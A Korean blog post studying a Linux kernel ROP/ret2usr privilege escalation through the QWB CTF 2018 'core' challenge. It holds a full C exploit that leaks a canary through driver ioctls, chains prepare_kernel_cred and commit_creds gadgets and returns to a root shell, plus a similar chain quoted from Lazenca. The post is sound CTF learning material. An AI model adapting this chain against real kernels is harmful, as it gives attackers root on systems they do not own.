background/linux kernel

[Linux Kernel Exploit] ROP (with ret2usr)

ssongk 2024. 4. 5. 22:59

ROP를 활용해서 ret2usr를 하는 방법에 대해 알아보려고 한다.
 


 
익스플로잇 순서는 다음과 같다.
(ret2usr과 동일)

  1. prepare_kernel_cred(0); 수행 ("root"의 자격 증명 준비)
  2. prepare_kernel_cred() 함수의 리턴 값("root"의 자격 증명)을 commit_creds() 함수에 전달
  3. system("/bin/sh");

 
예제로는 [QWB CTF 2018] core 문제를 보기로 했다.
https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/kernel/QWB2018-core/rop.c
 
trap frame을 만들고 ret2usr기법을 활용하는 것은 동일하다.
 
다만, LPE를 함수로 하는 것이 아니라 가젯으로 하기 때문에
가젯의 오프셋과 vmlinux의 베이스 주소가 필요하다.
(vmlinux_base)
 
그리고 gdb로 보면 .text 영역과 vmlinux파일의 시작 주소랑도 차이가 존재하는 것 같다.
이 오프셋도 필요하다.
(최종 offset = raw_vmlinux_base - vmlinux_base)
 

// gcc exploit.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

void spawn_shell()
{
	if(!getuid())
	{
		system("/bin/sh");
	}
	else
	{
		puts("[*]spawn shell error!");
	}
	exit(0);
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
/* 
 * give_to_player [master●●] check ./core.ko
   ./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=54943668385c6573ec1b40a7c06127d9423103b3, not stripped
   [*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko'
       Arch:     amd64-64-little
       RELRO:    No RELRO
       Stack:    Canary found
       NX:       NX enabled
       PIE:      No PIE (0x0)
*/
size_t vmlinux_base = 0;
size_t find_symbols()
{
	FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
	/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

	if(kallsyms_fd < 0)
	{
		puts("[*]open kallsyms error!");
		exit(0);
	}

	char buf[0x30] = {0};
	while(fgets(buf, 0x30, kallsyms_fd))
	{
		if(commit_creds & prepare_kernel_cred)
			return 0;

		if(strstr(buf, "commit_creds") && !commit_creds)
		{
			/* puts(buf); */
			char hex[20] = {0};
			strncpy(hex, buf, 16);
			/* printf("hex: %s\n", hex); */
			sscanf(hex, "%llx", &commit_creds);
			printf("commit_creds addr: %p\n", commit_creds);
			/*
			 * give_to_player [master●●] bpython
				bpython version 0.17.1 on top of Python 2.7.15 /usr/bin/python
				>>> from pwn import *
				>>> vmlinux = ELF("./vmlinux")
				[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmlinux'
				    Arch:     amd64-64-little
				    RELRO:    No RELRO
				    Stack:    Canary found
				    NX:       NX disabled
				    PIE:      No PIE (0xffffffff81000000)
				    RWX:      Has RWX segments
				>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
				'0x9c8e0'
			*/
			vmlinux_base = commit_creds - 0x9c8e0;
			printf("vmlinux_base addr: %p\n", vmlinux_base);
		}

		if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
		{
			/* puts(buf); */
			char hex[20] = {0};
			strncpy(hex, buf, 16);
			sscanf(hex, "%llx", &prepare_kernel_cred);
			printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
			vmlinux_base = prepare_kernel_cred - 0x9cce0;
			/* printf("vmlinux_base addr: %p\n", vmlinux_base); */
		}
	}

	if(!(prepare_kernel_cred & commit_creds))
	{
		puts("[*]Error!");
		exit(0);
	}

}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
	__asm__("mov user_cs, cs;"
			"mov user_ss, ss;"
			"mov user_sp, rsp;"
			"pushf;"
			"pop user_rflags;"
			);
	puts("[*]status has been saved.");
}

void set_off(int fd, long long idx)
{
	printf("[*]set off to %ld\n", idx);
	ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
	puts("[*]read to buf.");
	ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
	printf("[*]copy from user with size: %ld\n", size);
	ioctl(fd, 0x6677889A, size);
}

int main()
{
	save_status();
	int fd = open("/proc/core", 2);
	if(fd < 0)
	{
		puts("[*]open /proc/core error!");
		exit(0);
	}
	
	find_symbols();
	// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
	ssize_t offset = vmlinux_base - raw_vmlinux_base;

	set_off(fd, 0x40);

	char buf[0x40] = {0};
	core_read(fd, buf);
	size_t canary = ((size_t *)buf)[0];
	printf("[+]canary: %p\n", canary);

	size_t rop[0x1000] = {0};

	int i;
	for(i = 0; i < 10; i++)
	{
		rop[i] = canary;
	}
	rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
	rop[i++] = 0;
	rop[i++] = prepare_kernel_cred;			// prepare_kernel_cred(0)

	rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
	rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
	rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; 
	rop[i++] = commit_creds;
	
	rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
	rop[i++] = 0;

	rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; 

	rop[i++] = (size_t)spawn_shell;			// rip 
	
	rop[i++] = user_cs;						// cs
	rop[i++] = user_rflags;					// rflags
	rop[i++] = user_sp;						// rsp
	rop[i++] = user_ss;						// ss

	write(fd, rop, 0x800);
	core_copy_func(fd, 0xffffffffffff0000 | (0x100));

	return 0;
}

 
코드 중 이 부분은 잘 이해가 가지 않는다.

	rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
	rop[i++] = 0;
	rop[i++] = prepare_kernel_cred;			// prepare_kernel_cred(0)

	rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
	rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
	rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; 
	rop[i++] = commit_creds;

 
왜 pop rdx;ret 뒤에 commit_creds가 아닌
pop rcx;ret이 오는지 잘 모르겠다.
 
내가 생각한 대로 코드를 바꾸면 바로 커널 패닉 나는 걸 보니 필요한 가젯인 것 같다.

라젠카의 코드는 이런데.. 왜 그럴까..

int main(){
...
    size_t rop[512] = {0};
...
    rop[8] = canary;
    rop[9] = 0;
    rop[10] = 0;
    rop[11] = 0;
    rop[12] = 0xffffffff813e223f;   //pop_rdi
    rop[13] = 0;
    rop[14] = prepare_kernel_cred;
    rop[15] = 0xffffffff8112d952;   //pop rdx ; ret  ;
    rop[16] = commit_creds;            
    rop[17] = 0xffffffff817e9e92;   //mov rdi, rax ; call rdx ;
    rop[18] = 0;
    rop[19] = 0xffffffff810613d4;   //swapgs  ; pop rbp ; ret  ;
    rop[20] = 0;
    rop[21] = 0xffffffff817f7a97;   //iretq;
    rop[22] = (size_t)getShell;
    rop[23] = rv.user_cs;
    rop[24] = rv.user_rflags;
    rop[25] = rv.user_rsp;
    rop[26] = rv.user_ss;
 
    write(fd, rop, 8*27);
...
   return 0;
}

 


 
https://www.lazenca.net/pages/viewpage.action?pageId=25624746

03.Stack smashing(64bit) & ROP - TechNote - Lazenca.0x0

Excuse the ads! We need some help to keep our site up. List 03.Stack smashing(64bit) & ROP Set environment Proof of concept Return Oriented Programming Exploit method ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다. prepare_kernel_cred(

www.lazenca.net